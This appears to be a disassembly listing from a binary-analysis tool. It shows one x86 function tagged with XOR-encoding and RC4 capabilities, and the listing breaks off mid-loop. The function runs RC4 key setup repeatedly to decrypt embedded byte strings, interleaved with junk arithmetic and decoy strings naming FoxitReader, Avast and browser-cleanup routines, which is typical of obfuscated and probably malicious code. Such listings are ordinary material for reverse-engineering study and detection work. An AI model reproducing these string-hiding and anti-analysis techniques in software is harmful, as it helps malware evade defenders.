Function at 0x10006527
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x378
push esi
xor ecx, ecx
mov dword [ebp - 0xbc], 0x214f
push edi
xor eax, eax
mov dword [ebp - 0xb8], 0x1fd4
inc ecx
mov dword [ebp - 0xb4], 0x1232
push 0xb
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0x94], ecx
pop ecx
mov dword [ebp - 0xb0], 0x1c75
mov dword [ebp - 0xa8], 0x358
mov dword [ebp - 0xa4], 0x1a94
mov dword [ebp - 0xa0], 0x1f90
mov dword [ebp - 0x9c], 0xa59
mov dword [ebp - 0x98], 0x88a
mov dword [ebp - 0x84], ecx
cmp eax, 4
je 0x100065c2
inc eax
cmp eax, ecx
jl 0x100065b8
mov eax, dword [ebp + eax*4 - 0xbc]
lea edi, [ebp - 0x60]
mov esi, str.rescue_disc
mov dword [ebp - 0x210], eax
mov eax, dword [0x1003ec08]
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
add eax, 0x827460e4
mov dword [ebp - 0x48], 0xd8bb5610
mov dword [ebp - 0x44], 0x43b6357c
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x40], 0x2d609503
mov dword [0x1003ed28], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005468
xor edx, edx
imul esi, dword [0x1003ec08], 0xa95f8836
mov edi, edx
inc edi
cmp word [edi*2 + str.SYSTEMCurrentControlSetControlFileSystem], dx
jne 0x10006616
push ecx
push ecx
mov ecx, esi
call fcn.10004af5
add esp, 8
cmp dword [ebp - 0x78], edi
jae 0x10006640
and esi, 0xb7378eae
mov dword [0x1003ed28], esi
jmp 0x10006646
mov esi, dword [0x1003ed28]
mov eax, dword [0x1003ec08]
add eax, 0xa05f490d
mov dword [ebp - 0xc], esi
imul eax, eax, 0x3f4592d1
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x10], eax
mov dword [0x1003eba8], eax
mov eax, edx
mov byte [ebp + eax - 0x208], al
inc eax
cmp eax, 0x100
jb 0x10006666
mov al, byte [str.pj.ufig.osihcih]
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x30], al
or esi, 0xd38aeaa4
mov dword [0x1003ec08], esi
call fcn.10004828
mov cl, byte [ebp - 0x30]
lea edi, [ebp - 0xec]
mov esi, str.detailed_view
xor eax, eax
mov dword [ebp - 0x18], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0xec]
jne 0x1000674c
test cl, cl
je 0x100066e8
cmp byte [ebp + eax - 0xec], 0
je 0x100066e8
mov edx, str.FoxitReader
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
call fcn.10004ecb
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov cl, byte [eax + str.pj.ufig.osihcih]
cmp cl, byte [ebp + eax - 0xec]
je 0x100066b5
mov edi, dword [ebp - 8]
cmp edi, eax
jae 0x1000674c
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
call fcn.10005468
mov esi, dword [0x1003ec08]
cmp edi, 0x9af
jne 0x1000671d
mov edi, esi
or edi, 0x1a477b3c
mov dword [ebp - 0x10], edi
mov dword [0x1003eba8], edi
mov edi, dword [ebp - 8]
jmp 0x10006725
mov eax, dword [0x1003eba8]
mov dword [ebp - 0x10], eax
add esi, 0x226edfec
mov dword [ebp - 0xc], esi
mov dword [0x1003ed28], esi
call fcn.10004b17
inc edi
mov dword [ebp - 8], edi
cmp edi, dword [ebp - 0x18]
jb 0x100066ef
mov al, byte [str.pj.ufig.osihcih]
mov byte [ebp - 0x30], al
jmp 0x1000674f
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x34]
xor edx, edx
mov eax, edi
div dword [ebp - 0x84]
mov cl, byte [ebp + edi - 0x208]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x60]
add eax, dword [ebp - 0x38]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x38], ecx
mov al, byte [ebp + ecx - 0x208]
mov byte [ebp + edi - 0x208], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x208], al
mov dword [ebp - 0x34], edi
cmp edi, 0x100
jb 0x10006680
sub dword [ebp - 0x10], 0x67efb6b2
lea edi, [ebp - 0x64]
mov esi, str.div.radio_group
xor eax, eax
add dword [ebp - 0xc], 0x7d9812bc
mov ecx, eax
mov dword [ebp - 8], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, eax
lea eax, [edi + 1]
movzx edi, al
mov al, byte [ebp + edi - 0x208]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x3c], eax
add eax, ecx
movzx eax, al
mov dword [ebp - 0x38], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
call fcn.100052fe
mov cl, byte [str.app.browsercleanup.RemoveAllBadAddonsDirect]
xor edx, edx
mov eax, edx
cmp cl, byte [ebp - 0x64]
jne 0x10006845
test cl, cl
je 0x1000681b
cmp byte [ebp + eax - 0x64], dl
je 0x1000681b
mov cl, byte [eax + 0x1003ec91]
inc eax
cmp cl, byte [ebp + eax - 0x64]
je 0x10006804
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
jae 0x10006845
mov esi, eax
mov dword [ebp - 0x14], eax
sub esi, ecx
call fcn.10003d14
push str.ProgramDeactivator_items:__d
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
call fcn.10005ac3
pop ecx
sub esi, 1
jne 0x10006829
xor edx, edx
mov eax, dword [ebp - 0x38]
mov cl, byte [ebp - 1]
mov byte [ebp + eax - 0x208], cl
movzx eax, byte [ebp + edi - 0x208]
add eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 8]
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + ecx - 0x48]
mov byte [ebp + ecx - 0x2b0], al
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, 0xc
mov ecx, dword [ebp - 0x38]
jb 0x100067c4
mov eax, dword [ebp - 0x10]
lea edi, [ebp - 0xc0]
and eax, 0x35035ff8
mov byte [ebp - 0x2a4], dl
mov dword [ebp - 8], eax
mov esi, str.com.avast.passwdmgr.proto.KekTransferReadToken
push 0xb
pop eax
mov ecx, eax
mov dword [ebp - 0x48], 0xf8314c8c
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x44], 0xb2f0f653
mov eax, edx
mov dword [ebp - 0x40], 0x2cc2ea5e
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, edx
mov byte [ebp + eax - 0x208], al
inc eax
cmp eax, 0x100
jb 0x100068c4
mov esi, edx
mov dword [ebp - 0x14], 0x2e
xor edx, edx
mov cl, byte [ebp + esi - 0x208]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x14]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xc0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x208]
mov byte [ebp + esi - 0x208], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x208], al
cmp esi, 0x100
jb 0x100068dc
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
or dword [ebp - 0x10], 0xac50f55e
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x208]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x208], cl
movzx eax, byte [ebp + edi - 0x208]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + esi - 0x48]
mov byte [ebp + esi - 0x2a0], al
inc esi
cmp esi, 0xc
jb 0x10006929
mov ecx, dword [ebp - 0xc]
xor edx, edx
xor ecx, 0x59779f4
mov byte [ebp - 0x294], dl
mov eax, edx
mov dword [ebp - 0x70], 0x2592
mov dword [ebp - 0x6c], 0x17fb
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], 0x56f
mov dword [ebp - 0x60], 0x1c1b
mov dword [ebp - 0x5c], 0x128a
mov dword [ebp - 0x58], edx
mov dword [ebp - 0xc], ecx
cmp eax, 2
je 0x100069d2
inc eax
cmp eax, 7
jl 0x100069c7
mov eax, dword [ebp + eax*4 - 0x70]
xor esi, esi
add ecx, 0x1bbcf5e3
mov dword [ebp - 0x214], eax
inc esi
mov dword [ebp - 0xbc], 0x1b00
push 0xb
mov dword [ebp - 0xb0], esi
mov eax, edx
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0x98], esi
mov dword [ebp - 0xb8], 0x23ae
mov dword [ebp - 0xb4], 0x1fb0
mov dword [ebp - 0xac], 0x9ed
mov dword [ebp - 0xa8], 0x2182
mov dword [ebp - 0xa0], 0x963
mov dword [ebp - 0x94], 0x71d
pop esi
cmp eax, 6
je 0x10006a52
inc eax
cmp eax, esi
jl 0x10006a48
mov eax, dword [ebp + eax*4 - 0xbc]
lea edi, [ebp - 0xec]
mov esi, str.kheicoptic
mov dword [ebp - 0x108], eax
push 0xb
pop eax
push 0x1d
movsd dword es:[edi], dword [esi]
and ecx, 0x3facd236
mov byte [ebp - 0x42], al
pop eax
mov dword [ebp - 0x48], 0x8da2b666
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x44], 0x4c3d
mov word [ebp - 0x41], 0x6cff
mov byte [ebp - 0x3f], 0xdd
movsw word es:[edi], word [esi]
mov byte [ebp - 0x3e], al
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x34], edx
movsb byte es:[edi], byte [esi]
mov esi, str.lp.awazsraw
mov dword [ebp - 0x38], edx
lea edi, [ebp - 0x60]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.10005d78
mov al, byte [ebp - 0x30]
mov esi, edx
pop ecx
cmp al, byte [ebp - 0x60]
jne 0x10006b18
mov ecx, dword [ebp - 8]
test al, al
je 0x10006ae3
cmp byte [ebp + esi - 0x60], 0
je 0x10006ae3
call fcn.10003f58
mov al, byte [esi + 0x1003ed51]
inc esi
cmp al, byte [ebp + esi - 0x60]
je 0x10006ac6
cmp edi, esi
jae 0x10006b18
cmp edi, 0x206a
jne 0x10006b01
and ecx, 0x6be73f43
push ecx
push ecx
mov edx, ecx
call fcn.10005ab7
add esp, 8
mov eax, ecx
or eax, 0xf087e90
inc edi
mov dword [ebp - 0x10], eax
cmp edi, esi
jb 0x10006ae7
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], ecx
jmp 0x10006b1b
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
mov ecx, str.FoxitReader
push ecx
push ecx
mov edx, eax
call fcn.10005ab7
mov eax, dword [ebp - 0x10]
add esp, 8
xor edi, 0x5353b6c9
inc ecx
cmp byte [ecx], 0
jne 0x10006b23
mov eax, dword [ebp - 0x38]
push 0
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 0x18]
mov byte [ebp + eax - 0x208], al
inc eax
mov dword [ebp - 0x38], eax
pop edx
cmp eax, 0x100
jb 0x10006aaf
push 0xa
xor esi, esi
mov dword [ebp - 0x7c], 0xa
pop edi
xor edx, edx
mov cl, byte [ebp + esi - 0x208]
mov eax, esi
mov byte [ebp - 1], cl
div edi
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xec]
add eax, dword [ebp - 0x34]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x34], ecx
mov al, byte [ebp + ecx - 0x208]
mov byte [ebp + esi - 0x208], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x208], al
cmp esi, 0x100
jb 0x10006b6c
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
imul eax, dword [ebp - 0x10], 0x5684cf18
push 0xb
mov cl, byte [ebp + edi - 0x208]
movzx edx, cl
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x208], cl
movzx eax, byte [ebp + edi - 0x208]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + esi - 0x48]
mov byte [ebp + esi - 0x278], al
inc esi
pop eax
cmp esi, eax
jb 0x10006bbc
mov edx, 0x98
mov dword [ebp - 0x70], 0x1ce2
xor eax, eax
mov dword [ebp - 0x74], edx
mov byte [ebp - 0x26d], al
mov ecx, eax
mov dword [ebp - 0x6c], 0x1eb
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], 0x1021
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], 0xea0
mov dword [ebp - 0x58], 0x133d
cmp ecx, 3
je 0x10006c66
inc ecx
cmp ecx, 8
jl 0x10006c5b
mov ecx, dword [ebp + ecx*4 - 0x74]
lea edi, [ebp - 0xbc]
xor ecx, 0x99
mov dword [ebp - 0x47], 0x45870617
mov dword [ebp - 0x100], ecx
mov esi, str.schannel:_renegotiating_SSL_TLS_connection
push 0x2e
pop ecx
mov byte [ebp - 0x48], cl
mov ecx, dword [ebp - 0xc]
or ecx, 0xd97ba9ca
mov dword [ebp - 0x43], 0xbc266f05
mov dword [ebp - 0x3c], ecx
push 0xa
pop ecx
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x3f], 0x28fc
mov ecx, eax
mov byte [ebp - 0x3d], 0x88
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x208], cl
inc ecx
cmp ecx, 0x100
jb 0x10006cb7
mov esi, eax
mov dword [ebp - 0x14], 0x2a
xor edx, edx
mov cl, byte [ebp + esi - 0x208]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x14]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xbc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x208]
mov byte [ebp + esi - 0x208], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x208], al
cmp esi, 0x100
jb 0x10006cd0
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x208]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x208], cl
movzx eax, byte [ebp + edi - 0x208]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + esi - 0x48]
mov byte [ebp + esi - 0x300], al
inc esi
cmp esi, 0xc
jb 0x10006d1d
mov byte [ebp - 0x2f4], 0
call fcn.10005059
mov edi, dword [ebp - 0x10]
xor esi, esi
cmp byte [str.app.browsercleanup.RemoveAllBadAddonsDirect], 0
je 0x10006da2
lea eax, [edi - 0x2e1303ee]
mov dword [ebp - 0xc], eax
inc esi
cmp byte [esi + str.app.browsercleanup.RemoveAllBadAddonsDirect], 0
jne 0x10006d98
call fcn.100056e8
mov edx, dword [ebp - 0x78]
cmp edx, esi
jae 0x10006dd7
cmp edx, 0x1167
jne 0x10006dbf
imul eax, edi, 0x65330174
mov dword [ebp - 0xc], eax
push ecx
mov ecx, dword [ebp - 0x3c]
or edi, 0xda0bdafa
call fcn.10005d78
inc edx
pop ecx
cmp edx, esi
jb 0x10006dae
mov dword [ebp - 0x10], edi
push 8
pop ecx
mov esi, str.com.avast.analytics.v4.proto__
mov dword [ebp - 0x68], 0xa123e0ed
lea edi, [ebp - 0xb0]
mov dword [ebp - 0x64], 0x7ffe8845
rep movsd dword es:[edi], dword [esi]
mov edx, str.SYSTEMCurrentControlSetControlFileSystem
mov dword [ebp - 0x60], 0xa04ee46b
mov ecx, str.pj.ufig.osihcih
mov dword [ebp - 0x5c], 0x56cde422
mov word [ebp - 0x58], 0xf5dd
mov byte [ebp - 0x56], 0x9a
movsb byte es:[edi], byte [esi]
call fcn.10004924
xor edx, edx
mov edi, edx
inc edi
cmp word [edi*2 + str.SYSTEMCurrentControlSetControlFileSystem], dx
jne 0x10006e21
mov esi, dword [ebp - 0x78]
cmp esi, edi
jae 0x10006e61
mov eax, dword [ebp - 0x10]
xor eax, 0x2358529b
mov dword [ebp - 0xc], eax
call fcn.10005059
cmp esi, 0x701
jne 0x10006e5a
mov edx, str.pj.ufig.osihcih
mov ecx, str.FoxitReader
call fcn.100043c9
inc esi
cmp esi, edi
jb 0x10006e3e
xor edx, edx
mov esi, edx
mov eax, edx
mov byte [ebp + eax - 0x208], al
inc eax
cmp eax, 0x100
jb 0x10006e65
push 0x13
mov ecx, edx
pop edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0x38], edi
mov al, byte [ebp + ecx - 0x208]
and ecx, 0x1f
mov byte [ebp - 1], al
push 0x50
mov dword [ebp - 0x18], edx
movzx eax, byte [ebp + ecx - 0xb0]
movzx ecx, byte [ebp - 1]
add eax, esi
add ecx, eax
mov esi, str.WaitForSingleObject_failed_with_error
movzx eax, cl
mov ecx, edi
lea edi, [ebp - 0x360]
mov dword [ebp - 0x3c], eax
rep movsd dword es:[edi], dword [esi]
pop eax
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0x360]
jne 0x10006eef
mov ecx, eax
mov eax, edx
test cx, cx
je 0x10006eef
cmp word [ebp + eax - 0x360], dx
je 0x10006eef
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
add eax, eax
movzx ecx, word [eax + str.ProgramDeactivator_items:__d]
cmp cx, word [ebp + eax - 0x360]
je 0x10006ec6
call fcn.10005d87
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
jae 0x10006f15
cmp ecx, 0x257f
jne 0x10006f0d
xor dword [ebp - 0xc], 0x872f7631
inc ecx
cmp ecx, eax
jb 0x10006efe
mov dword [ebp - 0x14], ecx
mov esi, str.SYSTEMCurrentControlSetControlFileSystem
xor edx, edx
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.10005d78
lea esi, [esi + 2]
pop ecx
cmp word [esi], dx
jne 0x10006f1c
mov esi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 8]
push 0x13
pop edi
mov al, byte [ebp + esi - 0x208]
mov byte [ebp + ecx - 0x208], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x208], al
mov dword [ebp - 8], ecx
cmp ecx, 0x100
jb 0x10006e7f
mov dword [ebp - 0x18], edx
mov edi, edx
mov esi, edx
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
push 0x13
mov cl, byte [ebp + edi - 0x208]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x208], cl
movzx eax, byte [ebp + edi - 0x208]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + esi - 0x68]
mov byte [ebp + esi - 0x238], al
inc esi
pop eax
cmp esi, eax
jb 0x10006f66
imul ecx, dword [ebp - 0x10], 0xacab2e29
lea edi, [ebp - 0x70]
push 6
mov esi, str.repair_setup
xor eax, eax
mov byte [ebp - 0x225], al
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], ecx
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x53
mov dword [ebp - 8], eax
movsw word es:[edi], word [esi]
pop esi
cmp si, word [ebp - 0x70]
jne 0x10007015
mov ecx, eax
test si, si
je 0x10007012
cmp word [ebp + ecx - 0x70], ax
je 0x10007012
inc edx
lea ecx, [edx + edx]
movzx esi, word [ecx + str.SYSTEMCurrentControlSetControlFileSystem]
cmp si, word [ebp + ecx - 0x70]
je 0x10006ff4
mov dword [ebp - 8], edx
call fcn.10004b17
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 8]
jmp 0x1000705e
push ecx
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.10004af5
add esp, 8
cmp esi, 0xc0
jne 0x10007046
imul eax, dword [ebp - 0xc], 0xb780d43b
mov dword [ebp - 0x34], eax
call fcn.10004b17
xor dword [ebp - 0x34], 0x2f567353
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
push str.ProgramDeactivator_items:__d
call fcn.10005ac3
pop ecx
inc esi
cmp esi, edi
jb 0x10007022
push 7
pop ecx
mov esi, str.Error_in_ExecuteDriverUpdater
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [ebp - 0x30]
xor eax, eax
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x34]
cmp cl, byte [ebp - 0x74]
mov dword [ebp - 0x18], eax
jne 0x100070a8
test cl, cl
je 0x100070a8
cmp byte [ebp + eax - 0x74], 0
je 0x100070a8
mov edx, esi
mov ecx, str.SYSTEMCurrentControlSetControlFileSystem
call fcn.100050f8
mov eax, dword [ebp - 0x18]
inc eax
mov cl, byte [eax + str.pj.ufig.osihcih]
cmp cl, byte [ebp + eax - 0x74]
jmp 0x1000707c
mov edx, str.SYSTEMCurrentControlSetControlFileSystem
mov ecx, str.ProgramDeactivator_items:__d
call fcn.10004c6d
mov ecx, dword [ebp - 0x18]
movzx eax, byte [ebp + ecx - 0x74]
movzx ecx, byte [ecx + str.pj.ufig.osihcih]
sub ecx, eax
cmp ecx, 0x8de
jbe 0x100070dc
mov eax, esi
and eax, 0x803e4844
mov dword [ebp - 0xc], eax
jmp 0x100070e3
add dword [ebp - 0xc], 0x7439641a
mov eax, dword [ebp - 0x14]
push 0x1d
pop ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], 0x191c
mov dword [ebp - 0x68], 0x15d1
mov dword [ebp - 0x64], 0x1d3
mov dword [ebp - 0x60], 0x1d47
mov dword [ebp - 0x5c], 0x167f
mov dword [ebp - 0x58], ecx
cmp eax, 6
je 0x1000711d
inc eax
cmp eax, 7
jl 0x10007112
mov eax, dword [ebp + eax*4 - 0x70]
xor edx, edx
xor eax, ecx
mov dword [ebp - 0x74], 0x13fd
mov dword [ebp - 0x104], eax
xor eax, eax
inc edx
mov dword [ebp - 0x70], 0x2ba
mov ecx, eax
mov dword [ebp - 0x6c], 0x219b
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], 0x1b58
mov dword [ebp - 0x5c], 0x156c
mov dword [ebp - 0x58], 0x8d
cmp ecx, 4
je 0x1000716b
inc ecx
cmp ecx, 8
jl 0x10007160
mov ecx, dword [ebp + ecx*4 - 0x74]
lea edi, [ebp - 0x68]
mov dword [ebp - 0x218], ecx
mov esi, str.pj.odiakkoh.ekihsam
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x48], 0xd0a56145
mov edi, eax
mov dword [ebp - 0x44], 0x2b5c6610
mov ecx, eax
mov word [ebp - 0x40], 0x247
mov byte [ebp - 0x3e], 0x25
mov byte [ebp + ecx - 0x208], cl
inc ecx
cmp ecx, 0x100
jb 0x1000719e
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x208]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x38]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x68]
add eax, edi
add ecx, eax
xor edx, edx
movzx eax, cl
mov edi, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x34]
and eax, 0xd591f015
inc edi
cmp word [edi*2 + str.SYSTEMCurrentControlSetControlFileSystem], dx
jne 0x100071da
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.10003f58
cmp edi, 0x1552
jae 0x10007203
mov eax, 0x6be5274a
jmp 0x1000720f
call fcn.100052fe
mov eax, 0x545baf34
xor edx, edx
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
xor eax, ecx
mov dword [ebp - 0x18], eax
mov al, byte [ebp + edi - 0x208]
mov byte [ebp + esi - 0x208], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x208], al
cmp esi, 0x100
jb 0x100071b0
mov edi, ecx
mov dword [ebp - 0x34], edx
xor edi, 0x5f47f7b0
mov esi, edx
mov dword [ebp - 0x10], edi
push ecx
push ecx
mov edx, ecx
call fcn.10005ab7
add esp, 8
inc esi
cmp byte [esi + str.FoxitReader], 0
jne 0x1000724f
mov ecx, str.ProgramDeactivator_items:__d
call fcn.10004630
mov eax, dword [ebp - 0x78]
cmp eax, esi
jae 0x10007299
mov edx, dword [ebp - 0x18]
mov edi, edx
or edi, 0x78cea51c
mov dword [ebp - 0x10], edi
cmp eax, 0x19f7
jne 0x10007294
lea ecx, [edx - 0x62184508]
mov dword [ebp - 0xc], ecx
inc eax
cmp eax, esi
jb 0x10007284
xor ecx, ecx
mov dword [ebp - 0x38], ecx
mov edi, ecx
lea eax, [edi + 1]
mov dword [ebp - 8], ecx
push 0x10
pop ecx
mov esi, str.Regular_expression_is_too_large.
movzx eax, al
lea edi, [ebp - 0xd0]
mov dword [ebp - 0x14], eax
rep movsd dword es:[edi], dword [esi]
mov al, byte [ebp + eax - 0x208]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x3c], eax
add eax, dword [ebp - 0x34]
push 0x50
pop ecx
movzx eax, al
movsw word es:[edi], word [esi]
mov dword [ebp - 0x34], eax
cmp cx, word [ebp - 0xd0]
jne 0x1000731e
xor eax, eax
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x1000731b
cmp word [ebp + ecx - 0xd0], ax
je 0x1000731b
call fcn.10005d87
mov eax, dword [ebp - 8]
inc eax
push 0
mov dword [ebp - 8], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.ProgramDeactivator_items:__d]
pop eax
cmp dx, word [ebp + ecx - 0xd0]
je 0x100072e9
mov eax, dword [ebp - 0x34]
mov edi, dword [ebp - 0x14]
mov al, byte [ebp + eax - 0x208]
mov byte [ebp + edi - 0x208], al
call fcn.10005880
mov edx, dword [ebp - 0x10]
xor ecx, ecx
mov esi, ecx
push ecx
push ecx
call fcn.10005ab7
sub edx, 0x16e1c8d8
add esp, 8
inc esi
mov dword [0x1003ed28], edx
cmp byte [esi + str.FoxitReader], cl
jne 0x1000733b
mov dword [ebp - 0x10], edx
cmp esi, 0xf16
jae 0x10007375
mov eax, dword [ebp - 0xc]
mov edx, eax
xor edx, 0x3c0cad69
mov dword [ebp - 0x18], edx
jmp 0x10007382
imul eax, dword [ebp - 0x18], 0x123a9a13
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov esi, dword [ebp - 0x34]
sub eax, 0x343fb656
mov dl, byte [ebp - 1]
mov dword [ebp - 0xc], eax
push 0xb
mov byte [ebp + esi - 0x208], dl
movzx eax, byte [ebp + edi - 0x208]
add eax, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x10]
movzx eax, al
mov al, byte [ebp + eax - 0x208]
xor al, byte [ebp + esi - 0x48]
mov byte [ebp + esi - 0x284], al
inc esi
pop eax
mov dword [ebp - 0x38], esi
cmp esi, eax
jb 0x100072a0
push 0x56
pop esi
mov dword [ebp - 0xb0], esi
mov eax, ecx
mov dword [ebp - 0xac], esi
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0x94], esi
xor esi, esi
mov byte [ebp - 0x279], cl
inc esi
mov dword [ebp - 0xb4], 0x8aa
mov dword [ebp - 0xa8], 0x69b
mov dword [ebp - 0xa0], 0xccb
mov dword [ebp - 0x9c], 0x133c
mov dword [ebp - 0x98], 0x296
cmp eax, esi
je 0x1000742e
inc eax
cmp eax, 9
jl 0x10007424
mov eax, dword [ebp + eax*4 - 0xb4]
lea edi, [ebp - 0x48]
xor eax, 0x57
mov word [ebp - 0xec], 0x82d4
mov esi, str.rb.ireurab
mov dword [ebp - 0x21c], eax
imul eax, edx, 0x1852d28d
push 0x24
mov dword [ebp - 0xe9], 0x337dbb2f
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xe5], 0x6bfbeb99
mov dword [ebp - 0xc], eax
pop eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x80], eax
mov byte [ebp - 0xea], al
imul eax, edx, 0x7a28b7b4
movsw word es:[edi], word [esi]
mov byte [ebp - 0xe1], 1
movsb byte es:[edi], byte [esi]
mov dword [0x1003eba8], eax
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x208], al
inc eax
cmp eax, 0x100
jb 0x10007493
mov esi, ecx
mov dword [ebp - 8], ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x208]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x7c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x48]
add eax, edi
